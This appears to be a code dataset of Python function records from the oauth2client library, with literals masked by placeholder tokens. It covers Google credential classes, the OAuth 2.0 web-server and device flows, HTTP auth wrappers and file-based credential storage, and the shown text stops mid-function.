{"signature": "def _refresh(self, http):", "body": "raise AccessTokenCredentialsError(<EOL>'<STR_LIT>')<EOL>", "docstring": "Refreshes the access token.\n\n        Args:\n            http: unused HTTP object.\n\n        Raises:\n            AccessTokenCredentialsError: always", "id": "f2472:c17:m2"}
{"signature": "def _revoke(self, http):", "body": "self._do_revoke(http, self.access_token)<EOL>", "docstring": "Revokes the access_token and deletes the store if available.\n\n        Args:\n            http: an object to be used to make HTTP requests.", "id": "f2472:c17:m3"}
{"signature": "def __init__(self, access_token, client_id, client_secret, refresh_token,<EOL>token_expiry, token_uri, user_agent,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI):", "body": "super(GoogleCredentials, self).__init__(<EOL>access_token, client_id, client_secret, refresh_token,<EOL>token_expiry, token_uri, user_agent, revoke_uri=revoke_uri)<EOL>", "docstring": "Create an instance of GoogleCredentials.\n\n        This constructor is not usually called by the user, instead\n        GoogleCredentials objects are instantiated by\n        GoogleCredentials.from_stream() or\n        GoogleCredentials.get_application_default().\n\n        Args:\n            access_token: string, access token.\n            client_id: string, client identifier.\n            client_secret: string, client secret.\n            refresh_token: string, refresh token.\n            token_expiry: datetime, when the access_token expires.\n            token_uri: string, URI of token endpoint.\n            user_agent: string, The HTTP User-Agent to provide for this\n                        application.\n            revoke_uri: string, URI for revoke endpoint. Defaults to\n                        oauth2client.GOOGLE_REVOKE_URI; a token can't be\n                        revoked if this is None.", "id": "f2472:c18:m0"}
{"signature": "def create_scoped_required(self):", "body": "return False<EOL>", "docstring": "Whether this Credentials object is scopeless.\n\n        create_scoped(scopes) method needs to be called in order to create\n        a Credentials object for API calls.", "id": "f2472:c18:m1"}
{"signature": "def create_scoped(self, scopes):", "body": "return self<EOL>", "docstring": "Create a Credentials object for the given scopes.\n\n        The Credentials type is preserved.", "id": "f2472:c18:m2"}
{"signature": "@property<EOL><INDENT>def serialization_data(self):<DEDENT>", "body": "return {<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': self.client_id,<EOL>'<STR_LIT>': self.client_secret,<EOL>'<STR_LIT>': self.refresh_token<EOL>}<EOL>", "docstring": "Get the fields and values identifying the current credentials.", "id": "f2472:c18:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _implicit_credentials_from_gae():<DEDENT>", "body": "if not _in_gae_environment():<EOL><INDENT>return None<EOL><DEDENT>return _get_application_default_credential_GAE()<EOL>", "docstring": "Attempts to get implicit credentials in Google App Engine env.\n\n        If the current environment is not detected as App Engine, returns None,\n        indicating no Google App Engine credentials can be detected from the\n        current environment.\n\n        Returns:\n            None, if not in GAE, else an appengine.AppAssertionCredentials\n            object.", "id": "f2472:c18:m5"}
{"signature": "@staticmethod<EOL><INDENT>def _implicit_credentials_from_gce():<DEDENT>", "body": "if not _in_gce_environment():<EOL><INDENT>return None<EOL><DEDENT>return _get_application_default_credential_GCE()<EOL>", "docstring": "Attempts to get implicit credentials in Google Compute Engine env.\n\n        If the current environment is not detected as Compute Engine, returns\n        None, indicating no Google Compute Engine credentials can be detected\n        from the current environment.\n\n        Returns:\n            None, if not in GCE, else a gce.AppAssertionCredentials object.", "id": "f2472:c18:m6"}
{"signature": "@staticmethod<EOL><INDENT>def _implicit_credentials_from_files():<DEDENT>", "body": "credentials_filename = _get_environment_variable_file()<EOL>if not credentials_filename:<EOL><INDENT>credentials_filename = _get_well_known_file()<EOL>if os.path.isfile(credentials_filename):<EOL><INDENT>extra_help = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>credentials_filename = None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>extra_help = ('<STR_LIT>' + GOOGLE_APPLICATION_CREDENTIALS +<EOL>'<STR_LIT>')<EOL><DEDENT>if not credentials_filename:<EOL><INDENT>return<EOL><DEDENT>SETTINGS.env_name = DEFAULT_ENV_NAME<EOL>try:<EOL><INDENT>return _get_application_default_credential_from_file(<EOL>credentials_filename)<EOL><DEDENT>except (ApplicationDefaultCredentialsError, ValueError) as error:<EOL><INDENT>_raise_exception_for_reading_json(credentials_filename,<EOL>extra_help, error)<EOL><DEDENT>", "docstring": "Attempts to get implicit credentials from local credential files.\n\n        First checks if the environment variable GOOGLE_APPLICATION_CREDENTIALS\n        is set with a filename and then falls back to a configuration file (the\n        \"well known\" file) associated with the 'gcloud' command line tool.\n\n        Returns:\n            Credentials object associated with the\n            GOOGLE_APPLICATION_CREDENTIALS file or the \"well known\" file if\n            either exist. If neither file is define, returns None, indicating\n            no credentials from a file can detected from the current\n            environment.", "id": "f2472:c18:m7"}
{"signature": "@classmethod<EOL><INDENT>def _get_implicit_credentials(cls):<DEDENT>", "body": "<EOL>environ_checkers = [<EOL>cls._implicit_credentials_from_files,<EOL>cls._implicit_credentials_from_gae,<EOL>cls._implicit_credentials_from_gce,<EOL>]<EOL>for checker in environ_checkers:<EOL><INDENT>credentials = checker()<EOL>if credentials is not None:<EOL><INDENT>return credentials<EOL><DEDENT><DEDENT>raise ApplicationDefaultCredentialsError(ADC_HELP_MSG)<EOL>", "docstring": "Gets credentials implicitly from the environment.\n\n        Checks environment in order of precedence:\n        - Environment variable GOOGLE_APPLICATION_CREDENTIALS pointing to\n          a file with stored credentials information.\n        - Stored \"well known\" file associated with `gcloud` command line tool.\n        - Google App Engine (production and testing)\n        - Google Compute Engine production environment.\n\n        Raises:\n            ApplicationDefaultCredentialsError: raised when the credentials\n                                                fail to be retrieved.", "id": "f2472:c18:m8"}
{"signature": "@staticmethod<EOL><INDENT>def get_application_default():<DEDENT>", "body": "return GoogleCredentials._get_implicit_credentials()<EOL>", "docstring": "Get the Application Default Credentials for the current environment.\n\n        Raises:\n            ApplicationDefaultCredentialsError: raised when the credentials\n                                                fail to be retrieved.", "id": "f2472:c18:m9"}
{"signature": "@staticmethod<EOL><INDENT>def from_stream(credential_filename):<DEDENT>", "body": "if credential_filename and os.path.isfile(credential_filename):<EOL><INDENT>try:<EOL><INDENT>return _get_application_default_credential_from_file(<EOL>credential_filename)<EOL><DEDENT>except (ApplicationDefaultCredentialsError, ValueError) as error:<EOL><INDENT>extra_help = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>_raise_exception_for_reading_json(credential_filename,<EOL>extra_help,<EOL>error)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ApplicationDefaultCredentialsError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Create a Credentials object by reading information from a file.\n\n        It returns an object of type GoogleCredentials.\n\n        Args:\n            credential_filename: the path to the file from where the\n                                 credentials are to be read\n\n        Raises:\n            ApplicationDefaultCredentialsError: raised when the credentials\n                                                fail to be retrieved.", "id": "f2472:c18:m10"}
{"signature": "@_helpers.positional(<NUM_LIT:2>)<EOL><INDENT>def __init__(self, assertion_type, user_agent=None,<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI,<EOL>**unused_kwargs):<DEDENT>", "body": "super(AssertionCredentials, self).__init__(<EOL>None,<EOL>None,<EOL>None,<EOL>None,<EOL>None,<EOL>token_uri,<EOL>user_agent,<EOL>revoke_uri=revoke_uri)<EOL>self.assertion_type = assertion_type<EOL>", "docstring": "Constructor for AssertionFlowCredentials.\n\n        Args:\n            assertion_type: string, assertion type that will be declared to the\n                            auth server\n            user_agent: string, The HTTP User-Agent to provide for this\n                        application.\n            token_uri: string, URI for token endpoint. For convenience defaults\n                       to Google's endpoints but any OAuth 2.0 provider can be\n                       used.\n            revoke_uri: string, URI for revoke endpoint.", "id": "f2472:c19:m0"}
{"signature": "def _generate_assertion(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Generate assertion string to be used in the access token request.", "id": "f2472:c19:m2"}
{"signature": "def _revoke(self, http):", "body": "self._do_revoke(http, self.access_token)<EOL>", "docstring": "Revokes the access_token and deletes the store if available.\n\n        Args:\n            http: an object to be used to make HTTP requests.", "id": "f2472:c19:m3"}
{"signature": "def sign_blob(self, blob):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Cryptographically sign a blob (of bytes).\n\n        Args:\n            blob: bytes, Message to be signed.\n\n        Returns:\n            tuple, A pair of the private key ID used to sign the blob and\n            the signed contents.", "id": "f2472:c19:m4"}
{"signature": "@classmethod<EOL><INDENT>def FromResponse(cls, response):<DEDENT>", "body": "<EOL>kwargs = {<EOL>'<STR_LIT>': response['<STR_LIT>'],<EOL>'<STR_LIT>': response['<STR_LIT>'],<EOL>}<EOL>verification_url = response.get(<EOL>'<STR_LIT>', response.get('<STR_LIT>'))<EOL>if verification_url is None:<EOL><INDENT>raise OAuth2DeviceCodeError(<EOL>'<STR_LIT>')<EOL><DEDENT>kwargs['<STR_LIT>'] = verification_url<EOL>kwargs.update({<EOL>'<STR_LIT>': response.get('<STR_LIT>'),<EOL>'<STR_LIT>': None,<EOL>})<EOL>if '<STR_LIT>' in response:<EOL><INDENT>kwargs['<STR_LIT>'] = (<EOL>_UTCNOW() +<EOL>datetime.timedelta(seconds=int(response['<STR_LIT>'])))<EOL><DEDENT>return cls(**kwargs)<EOL>", "docstring": "Create a DeviceFlowInfo from a server response.\n\n        The response should be a dict containing entries as described here:\n\n        http://tools.ietf.org/html/draft-ietf-oauth-v2-05#section-3.7.1", "id": "f2472:c20:m0"}
{"signature": "@_helpers.positional(<NUM_LIT:4>)<EOL><INDENT>def __init__(self, client_id,<EOL>client_secret=None,<EOL>scope=None,<EOL>redirect_uri=None,<EOL>user_agent=None,<EOL>auth_uri=oauth2client.GOOGLE_AUTH_URI,<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>revoke_uri=oauth2client.GOOGLE_REVOKE_URI,<EOL>login_hint=None,<EOL>device_uri=oauth2client.GOOGLE_DEVICE_URI,<EOL>token_info_uri=oauth2client.GOOGLE_TOKEN_INFO_URI,<EOL>authorization_header=None,<EOL>pkce=False,<EOL>code_verifier=None,<EOL>**kwargs):<DEDENT>", "body": "<EOL>if scope is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.client_id = client_id<EOL>self.client_secret = client_secret<EOL>self.scope = _helpers.scopes_to_string(scope)<EOL>self.redirect_uri = redirect_uri<EOL>self.login_hint = login_hint<EOL>self.user_agent = user_agent<EOL>self.auth_uri = auth_uri<EOL>self.token_uri = token_uri<EOL>self.revoke_uri = revoke_uri<EOL>self.device_uri = device_uri<EOL>self.token_info_uri = token_info_uri<EOL>self.authorization_header = authorization_header<EOL>self._pkce = pkce<EOL>self.code_verifier = code_verifier<EOL>self.params = _oauth2_web_server_flow_params(kwargs)<EOL>", "docstring": "Constructor for OAuth2WebServerFlow.\n\n        The kwargs argument is used to set extra query parameters on the\n        auth_uri. For example, the access_type and prompt\n        query parameters can be set via kwargs.\n\n        Args:\n            client_id: string, client identifier.\n            client_secret: string client secret.\n            scope: string or iterable of strings, scope(s) of the credentials\n                   being requested.\n            redirect_uri: string, Either the string 'urn:ietf:wg:oauth:2.0:oob'\n                          for a non-web-based application, or a URI that\n                          handles the callback from the authorization server.\n            user_agent: string, HTTP User-Agent to provide for this\n                        application.\n            auth_uri: string, URI for authorization endpoint. For convenience\n                      defaults to Google's endpoints but any OAuth 2.0 provider\n                      can be used.\n            token_uri: string, URI for token endpoint. For convenience\n                       defaults to Google's endpoints but any OAuth 2.0\n                       provider can be used.\n            revoke_uri: string, URI for revoke endpoint. For convenience\n                        defaults to Google's endpoints but any OAuth 2.0\n                        provider can be used.\n            login_hint: string, Either an email address or domain. Passing this\n                        hint will either pre-fill the email box on the sign-in\n                        form or select the proper multi-login session, thereby\n                        simplifying the login flow.\n            device_uri: string, URI for device authorization endpoint. For\n                        convenience defaults to Google's endpoints but any\n                        OAuth 2.0 provider can be used.\n            authorization_header: string, For use with OAuth 2.0 providers that\n                                  require a client to authenticate using a\n                                  header value instead of passing client_secret\n                                  in the POST body.\n            pkce: boolean, default: False, Generate and include a \"Proof Key\n                  for Code Exchange\" (PKCE) with your authorization and token\n                  requests. This adds security for installed applications that\n                  cannot protect a client_secret. See RFC 7636 for details.\n            code_verifier: bytestring or None, default: None, parameter passed\n                           as part of the code exchange when pkce=True. If\n                           None, a code_verifier will automatically be\n                           generated as part of step1_get_authorize_url(). See\n                           RFC 7636 for details.\n            **kwargs: dict, The keyword arguments are all optional and required\n                      parameters for the OAuth calls.", "id": "f2472:c21:m0"}
{"signature": "@_helpers.positional(<NUM_LIT:1>)<EOL><INDENT>def step1_get_authorize_url(self, redirect_uri=None, state=None):<DEDENT>", "body": "if redirect_uri is not None:<EOL><INDENT>logger.warning((<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'))<EOL>self.redirect_uri = redirect_uri<EOL><DEDENT>if self.redirect_uri is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>query_params = {<EOL>'<STR_LIT>': self.client_id,<EOL>'<STR_LIT>': self.redirect_uri,<EOL>'<STR_LIT>': self.scope,<EOL>}<EOL>if state is not None:<EOL><INDENT>query_params['<STR_LIT:state>'] = state<EOL><DEDENT>if self.login_hint is not None:<EOL><INDENT>query_params['<STR_LIT>'] = self.login_hint<EOL><DEDENT>if self._pkce:<EOL><INDENT>if not self.code_verifier:<EOL><INDENT>self.code_verifier = _pkce.code_verifier()<EOL><DEDENT>challenge = _pkce.code_challenge(self.code_verifier)<EOL>query_params['<STR_LIT>'] = challenge<EOL>query_params['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>query_params.update(self.params)<EOL>return _helpers.update_query_params(self.auth_uri, query_params)<EOL>", "docstring": "Returns a URI to redirect to the provider.\n\n        Args:\n            redirect_uri: string, Either the string 'urn:ietf:wg:oauth:2.0:oob'\n                          for a non-web-based application, or a URI that\n                          handles the callback from the authorization server.\n                          This parameter is deprecated, please move to passing\n                          the redirect_uri in via the constructor.\n            state: string, Opaque state string which is passed through the\n                   OAuth2 flow and returned to the client as a query parameter\n                   in the callback.\n\n        Returns:\n            A URI as a string to redirect the user to begin the authorization\n            flow.", "id": "f2472:c21:m1"}
{"signature": "@_helpers.positional(<NUM_LIT:1>)<EOL><INDENT>def step1_get_device_and_user_codes(self, http=None):<DEDENT>", "body": "if self.device_uri is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>body = urllib.parse.urlencode({<EOL>'<STR_LIT>': self.client_id,<EOL>'<STR_LIT>': self.scope,<EOL>})<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>if self.user_agent is not None:<EOL><INDENT>headers['<STR_LIT>'] = self.user_agent<EOL><DEDENT>if http is None:<EOL><INDENT>http = transport.get_http_object()<EOL><DEDENT>resp, content = transport.request(<EOL>http, self.device_uri, method='<STR_LIT:POST>', body=body, headers=headers)<EOL>content = _helpers._from_bytes(content)<EOL>if resp.status == http_client.OK:<EOL><INDENT>try:<EOL><INDENT>flow_info = json.loads(content)<EOL><DEDENT>except ValueError as exc:<EOL><INDENT>raise OAuth2DeviceCodeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(content, exc))<EOL><DEDENT>return DeviceFlowInfo.FromResponse(flow_info)<EOL><DEDENT>else:<EOL><INDENT>error_msg = '<STR_LIT>'.format(resp.status)<EOL>try:<EOL><INDENT>error_dict = json.loads(content)<EOL>if '<STR_LIT:error>' in error_dict:<EOL><INDENT>error_msg += '<STR_LIT>'.format(error_dict['<STR_LIT:error>'])<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>raise OAuth2DeviceCodeError(error_msg)<EOL><DEDENT>", "docstring": "Returns a user code and the verification URL where to enter it\n\n        Returns:\n            A user code as a string for the user to authorize the application\n            An URL as a string where the user has to enter the code", "id": "f2472:c21:m2"}
{"signature": "@_helpers.positional(<NUM_LIT:2>)<EOL><INDENT>def step2_exchange(self, code=None, http=None, device_flow_info=None):<DEDENT>", "body": "if code is None and device_flow_info is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if code is not None and device_flow_info is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if code is None:<EOL><INDENT>code = device_flow_info.device_code<EOL><DEDENT>elif not isinstance(code, (six.string_types, six.binary_type)):<EOL><INDENT>if '<STR_LIT:code>' not in code:<EOL><INDENT>raise FlowExchangeError(code.get(<EOL>'<STR_LIT:error>', '<STR_LIT>'))<EOL><DEDENT>code = code['<STR_LIT:code>']<EOL><DEDENT>post_data = {<EOL>'<STR_LIT>': self.client_id,<EOL>'<STR_LIT:code>': code,<EOL>'<STR_LIT>': self.scope,<EOL>}<EOL>if self.client_secret is not None:<EOL><INDENT>post_data['<STR_LIT>'] = self.client_secret<EOL><DEDENT>if self._pkce:<EOL><INDENT>post_data['<STR_LIT>'] = self.code_verifier<EOL><DEDENT>if device_flow_info is not None:<EOL><INDENT>post_data['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>post_data['<STR_LIT>'] = '<STR_LIT>'<EOL>post_data['<STR_LIT>'] = self.redirect_uri<EOL><DEDENT>body = urllib.parse.urlencode(post_data)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>if self.authorization_header is not None:<EOL><INDENT>headers['<STR_LIT>'] = self.authorization_header<EOL><DEDENT>if self.user_agent is not None:<EOL><INDENT>headers['<STR_LIT>'] = self.user_agent<EOL><DEDENT>if http is None:<EOL><INDENT>http = transport.get_http_object()<EOL><DEDENT>resp, content = transport.request(<EOL>http, self.token_uri, method='<STR_LIT:POST>', body=body, headers=headers)<EOL>d = _parse_exchange_token_response(content)<EOL>if resp.status == http_client.OK and '<STR_LIT>' in d:<EOL><INDENT>access_token = d['<STR_LIT>']<EOL>refresh_token = d.get('<STR_LIT>', None)<EOL>if not refresh_token:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>'<EOL>\"<STR_LIT>\")<EOL><DEDENT>token_expiry = None<EOL>if '<STR_LIT>' in d:<EOL><INDENT>delta = datetime.timedelta(seconds=int(d['<STR_LIT>']))<EOL>token_expiry = delta + _UTCNOW()<EOL><DEDENT>extracted_id_token = None<EOL>id_token_jwt = None<EOL>if '<STR_LIT>' in d:<EOL><INDENT>extracted_id_token = _extract_id_token(d['<STR_LIT>'])<EOL>id_token_jwt = d['<STR_LIT>']<EOL><DEDENT>logger.info('<STR_LIT>')<EOL>return OAuth2Credentials(<EOL>access_token, self.client_id, self.client_secret,<EOL>refresh_token, token_expiry, self.token_uri, self.user_agent,<EOL>revoke_uri=self.revoke_uri, id_token=extracted_id_token,<EOL>id_token_jwt=id_token_jwt, token_response=d, scopes=self.scope,<EOL>token_info_uri=self.token_info_uri)<EOL><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>', content)<EOL>if '<STR_LIT:error>' in d:<EOL><INDENT>error_msg = (str(d['<STR_LIT:error>']) +<EOL>str(d.get('<STR_LIT>', '<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>error_msg = '<STR_LIT>'.format(str(resp.status))<EOL><DEDENT>raise FlowExchangeError(error_msg)<EOL><DEDENT>", "docstring": "Exchanges a code for OAuth2Credentials.\n\n        Args:\n            code: string, a dict-like object, or None. For a non-device\n                  flow, this is either the response code as a string, or a\n                  dictionary of query parameters to the redirect_uri. For a\n                  device flow, this should be None.\n            http: httplib2.Http, optional http instance to use when fetching\n                  credentials.\n            device_flow_info: DeviceFlowInfo, return value from step1 in the\n                              case of a device flow.\n\n        Returns:\n            An OAuth2Credentials object that can be used to authorize requests.\n\n        Raises:\n            FlowExchangeError: if a problem occurred exchanging the code for a\n                               refresh_token.\n            ValueError: if code and device_flow_info are both provided or both\n                        missing.", "id": "f2472:c21:m3"}
{"signature": "def get_cached_http():", "body": "return _CACHED_HTTP<EOL>", "docstring": "Return an HTTP object which caches results returned.\n\n    This is intended to be used in methods like\n    oauth2client.client.verify_id_token(), which calls to the same URI\n    to retrieve certs.\n\n    Returns:\n        httplib2.Http, an HTTP object with a MemoryCache", "id": "f2474:m0"}
{"signature": "def get_http_object(*args, **kwargs):", "body": "return httplib2.Http(*args, **kwargs)<EOL>", "docstring": "Return a new HTTP object.\n\n    Args:\n        *args: tuple, The positional arguments to be passed when\n               contructing a new HTTP object.\n        **kwargs: dict, The keyword arguments to be passed when\n                  contructing a new HTTP object.\n\n    Returns:\n        httplib2.Http, an HTTP object.", "id": "f2474:m1"}
{"signature": "def _initialize_headers(headers):", "body": "return {} if headers is None else dict(headers)<EOL>", "docstring": "Creates a copy of the headers.\n\n    Args:\n        headers: dict, request headers to copy.\n\n    Returns:\n        dict, the copied headers or a new dictionary if the headers\n        were None.", "id": "f2474:m2"}
{"signature": "def _apply_user_agent(headers, user_agent):", "body": "if user_agent is not None:<EOL><INDENT>if '<STR_LIT>' in headers:<EOL><INDENT>headers['<STR_LIT>'] = (user_agent + '<STR_LIT:U+0020>' + headers['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>headers['<STR_LIT>'] = user_agent<EOL><DEDENT><DEDENT>return headers<EOL>", "docstring": "Adds a user-agent to the headers.\n\n    Args:\n        headers: dict, request headers to add / modify user\n                 agent within.\n        user_agent: str, the user agent to add.\n\n    Returns:\n        dict, the original headers passed in, but modified if the\n        user agent is not None.", "id": "f2474:m3"}
{"signature": "def clean_headers(headers):", "body": "clean = {}<EOL>try:<EOL><INDENT>for k, v in six.iteritems(headers):<EOL><INDENT>if not isinstance(k, six.binary_type):<EOL><INDENT>k = str(k)<EOL><DEDENT>if not isinstance(v, six.binary_type):<EOL><INDENT>v = str(v)<EOL><DEDENT>clean[_helpers._to_bytes(k)] = _helpers._to_bytes(v)<EOL><DEDENT><DEDENT>except UnicodeEncodeError:<EOL><INDENT>from oauth2client.client import NonAsciiHeaderError<EOL>raise NonAsciiHeaderError(k, '<STR_LIT>', v)<EOL><DEDENT>return clean<EOL>", "docstring": "Forces header keys and values to be strings, i.e not unicode.\n\n    The httplib module just concats the header keys and values in a way that\n    may make the message header a unicode string, which, if it then tries to\n    contatenate to a binary request body may result in a unicode decode error.\n\n    Args:\n        headers: dict, A dictionary of headers.\n\n    Returns:\n        The same dictionary but with all the keys converted to strings.", "id": "f2474:m4"}
{"signature": "def wrap_http_for_auth(credentials, http):", "body": "orig_request_method = http.request<EOL>def new_request(uri, method='<STR_LIT:GET>', body=None, headers=None,<EOL>redirections=httplib2.DEFAULT_MAX_REDIRECTS,<EOL>connection_type=None):<EOL><INDENT>if not credentials.access_token:<EOL><INDENT>_LOGGER.info('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>credentials._refresh(orig_request_method)<EOL><DEDENT>headers = _initialize_headers(headers)<EOL>credentials.apply(headers)<EOL>_apply_user_agent(headers, credentials.user_agent)<EOL>body_stream_position = None<EOL>if all(getattr(body, stream_prop, None) for stream_prop in<EOL>_STREAM_PROPERTIES):<EOL><INDENT>body_stream_position = body.tell()<EOL><DEDENT>resp, content = request(orig_request_method, uri, method, body,<EOL>clean_headers(headers),<EOL>redirections, connection_type)<EOL>max_refresh_attempts = <NUM_LIT:2><EOL>for refresh_attempt in range(max_refresh_attempts):<EOL><INDENT>if resp.status not in REFRESH_STATUS_CODES:<EOL><INDENT>break<EOL><DEDENT>_LOGGER.info('<STR_LIT>',<EOL>resp.status, refresh_attempt + <NUM_LIT:1>,<EOL>max_refresh_attempts)<EOL>credentials._refresh(orig_request_method)<EOL>credentials.apply(headers)<EOL>if body_stream_position is not None:<EOL><INDENT>body.seek(body_stream_position)<EOL><DEDENT>resp, content = request(orig_request_method, uri, method, body,<EOL>clean_headers(headers),<EOL>redirections, connection_type)<EOL><DEDENT>return resp, content<EOL><DEDENT>http.request = new_request<EOL>http.request.credentials = credentials<EOL>", "docstring": "Prepares an HTTP object's request method for auth.\n\n    Wraps HTTP requests with logic to catch auth failures (typically\n    identified via a 401 status code). In the event of failure, tries\n    to refresh the token used and then retry the original request.\n\n    Args:\n        credentials: Credentials, the credentials used to identify\n                     the authenticated user.\n        http: httplib2.Http, an http object to be used to make\n              auth requests.", "id": "f2474:m5"}
{"signature": "def wrap_http_for_jwt_access(credentials, http):", "body": "orig_request_method = http.request<EOL>wrap_http_for_auth(credentials, http)<EOL>authenticated_request_method = http.request<EOL>def new_request(uri, method='<STR_LIT:GET>', body=None, headers=None,<EOL>redirections=httplib2.DEFAULT_MAX_REDIRECTS,<EOL>connection_type=None):<EOL><INDENT>if '<STR_LIT>' in credentials._kwargs:<EOL><INDENT>if (credentials.access_token is None or<EOL>credentials.access_token_expired):<EOL><INDENT>credentials.refresh(None)<EOL><DEDENT>return request(authenticated_request_method, uri,<EOL>method, body, headers, redirections,<EOL>connection_type)<EOL><DEDENT>else:<EOL><INDENT>headers = _initialize_headers(headers)<EOL>_apply_user_agent(headers, credentials.user_agent)<EOL>uri_root = uri.split('<STR_LIT:?>', <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>token, unused_expiry = credentials._create_token({'<STR_LIT>': uri_root})<EOL>headers['<STR_LIT>'] = '<STR_LIT>' + token<EOL>return request(orig_request_method, uri, method, body,<EOL>clean_headers(headers),<EOL>redirections, connection_type)<EOL><DEDENT><DEDENT>http.request = new_request<EOL>http.request.credentials = credentials<EOL>", "docstring": "Prepares an HTTP object's request method for JWT access.\n\n    Wraps HTTP requests with logic to catch auth failures (typically\n    identified via a 401 status code). In the event of failure, tries\n    to refresh the token used and then retry the original request.\n\n    Args:\n        credentials: _JWTAccessCredentials, the credentials used to identify\n                     a service account that uses JWT access tokens.\n        http: httplib2.Http, an http object to be used to make\n              auth requests.", "id": "f2474:m6"}
{"signature": "def request(http, uri, method='<STR_LIT:GET>', body=None, headers=None,<EOL>redirections=httplib2.DEFAULT_MAX_REDIRECTS,<EOL>connection_type=None):", "body": "<EOL>http_callable = getattr(http, '<STR_LIT>', http)<EOL>return http_callable(uri, method=method, body=body, headers=headers,<EOL>redirections=redirections,<EOL>connection_type=connection_type)<EOL>", "docstring": "Make an HTTP request with an HTTP object and arguments.\n\n    Args:\n        http: httplib2.Http, an http object to be used to make requests.\n        uri: string, The URI to be requested.\n        method: string, The HTTP method to use for the request. Defaults\n                to 'GET'.\n        body: string, The payload / body in HTTP request. By default\n              there is no payload.\n        headers: dict, Key-value pairs of request headers. By default\n                 there are no headers.\n        redirections: int, The number of allowed 203 redirects for\n                      the request. Defaults to 5.\n        connection_type: httplib.HTTPConnection, a subclass to be used for\n                         establishing connection. If not set, the type\n                         will be determined from the ``uri``.\n\n    Returns:\n        tuple, a pair of a httplib2.Response with the status code and other\n        headers and the bytes of the content returned.", "id": "f2474:m7"}
{"signature": "def locked_get(self):", "body": "credentials = None<EOL>_helpers.validate_file(self._filename)<EOL>try:<EOL><INDENT>f = open(self._filename, '<STR_LIT:rb>')<EOL>content = f.read()<EOL>f.close()<EOL><DEDENT>except IOError:<EOL><INDENT>return credentials<EOL><DEDENT>try:<EOL><INDENT>credentials = client.Credentials.new_from_json(content)<EOL>credentials.set_store(self)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>return credentials<EOL>", "docstring": "Retrieve Credential from file.\n\n        Returns:\n            oauth2client.client.Credentials\n\n        Raises:\n            IOError if the file is a symbolic link.", "id": "f2475:c0:m1"}
{"signature": "def _create_file_if_needed(self):", "body": "if not os.path.exists(self._filename):<EOL><INDENT>old_umask = os.umask(<NUM_LIT>)<EOL>try:<EOL><INDENT>open(self._filename, '<STR_LIT>').close()<EOL><DEDENT>finally:<EOL><INDENT>os.umask(old_umask)<EOL><DEDENT><DEDENT>", "docstring": "Create an empty file if necessary.\n\n        This method will not initialize the file. Instead it implements a\n        simple version of \"touch\" to ensure the file has been created.", "id": "f2475:c0:m2"}
{"signature": "def locked_put(self, credentials):", "body": "self._create_file_if_needed()<EOL>_helpers.validate_file(self._filename)<EOL>f = open(self._filename, '<STR_LIT:w>')<EOL>f.write(credentials.to_json())<EOL>f.close()<EOL>", "docstring": "Write Credentials to file.\n\n        Args:\n            credentials: Credentials, the credentials to store.\n\n        Raises:\n            IOError if the file is a symbolic link.", "id": "f2475:c0:m3"}
{"signature": "def locked_delete(self):", "body": "os.unlink(self._filename)<EOL>", "docstring": "Delete Credentials file.\n\n        Args:\n            credentials: Credentials, the credentials to store.", "id": "f2475:c0:m4"}
{"signature": "@_helpers.positional(<NUM_LIT:3>)<EOL>def run_flow(flow, storage, flags=None, http=None):", "body": "if flags is None:<EOL><INDENT>flags = argparser.parse_args()<EOL><DEDENT>logging.getLogger().setLevel(getattr(logging, flags.logging_level))<EOL>if not flags.noauth_local_webserver:<EOL><INDENT>success = False<EOL>port_number = <NUM_LIT:0><EOL>for port in flags.auth_host_port:<EOL><INDENT>port_number = port<EOL>try:<EOL><INDENT>httpd = ClientRedirectServer((flags.auth_host_name, port),<EOL>ClientRedirectHandler)<EOL><DEDENT>except socket.error:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>success = True<EOL>break<EOL><DEDENT><DEDENT>flags.noauth_local_webserver = not success<EOL>if not success:<EOL><INDENT>print(_FAILED_START_MESSAGE)<EOL><DEDENT><DEDENT>if not flags.noauth_local_webserver:<EOL><INDENT>oauth_callback = '<STR_LIT>'.format(<EOL>host=flags.auth_host_name, port=port_number)<EOL><DEDENT>else:<EOL><INDENT>oauth_callback = client.OOB_CALLBACK_URN<EOL><DEDENT>flow.redirect_uri = oauth_callback<EOL>authorize_url = flow.step1_get_authorize_url()<EOL>if not flags.noauth_local_webserver:<EOL><INDENT>import webbrowser<EOL>webbrowser.open(authorize_url, new=<NUM_LIT:1>, 